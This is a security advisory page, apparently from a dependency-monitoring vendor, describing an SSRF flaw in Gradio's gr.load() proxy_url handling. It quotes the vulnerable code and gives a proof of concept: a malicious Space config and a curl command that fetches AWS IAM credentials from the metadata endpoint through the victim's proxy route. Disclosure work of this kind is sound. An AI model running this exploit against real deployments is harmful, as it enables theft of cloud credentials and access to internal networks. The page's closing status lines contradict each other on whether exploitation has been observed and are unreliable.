Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-jmh7-g254-2cq9
No affected components available
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
-
Config Fetching (
gradio/external.py:630):gr.load()callsBlocks.from_config()which fetches and processes the remote Space's configuration. -
Proxy URL Trust (
gradio/blocks.py:1231-1233): Theproxy_urlfrom the untrusted config is added directly toself.proxy_urls:if config.get("proxy_url"): self.proxy_urls.add(config["proxy_url"]) -
Built-in Proxy Route (
gradio/routes.py:1029-1031): Every Gradio app automatically exposes a/proxy={url_path}endpoint:@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)]) async def reverse_proxy(url_path: str): -
Host-based Validation (
gradio/routes.py:365-368): The validation only checks if the URL's host matches any trustedproxy_urlhost:is_safe_url = any( url.host == httpx.URL(root).host for root in self.blocks.proxy_urls )
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
2. Victim loads the malicious Space:
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
3. Attacker exploits the proxy:
# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
Impact
Who is impacted:
- Any Gradio application that uses
gr.load()to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces
- Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
- Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
- Internal service access: Reach databases, admin panels, and APIs on private networks
- Network reconnaissance: Map internal infrastructure through the victim
- Data exfiltration: Access sensitive internal APIs and services
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard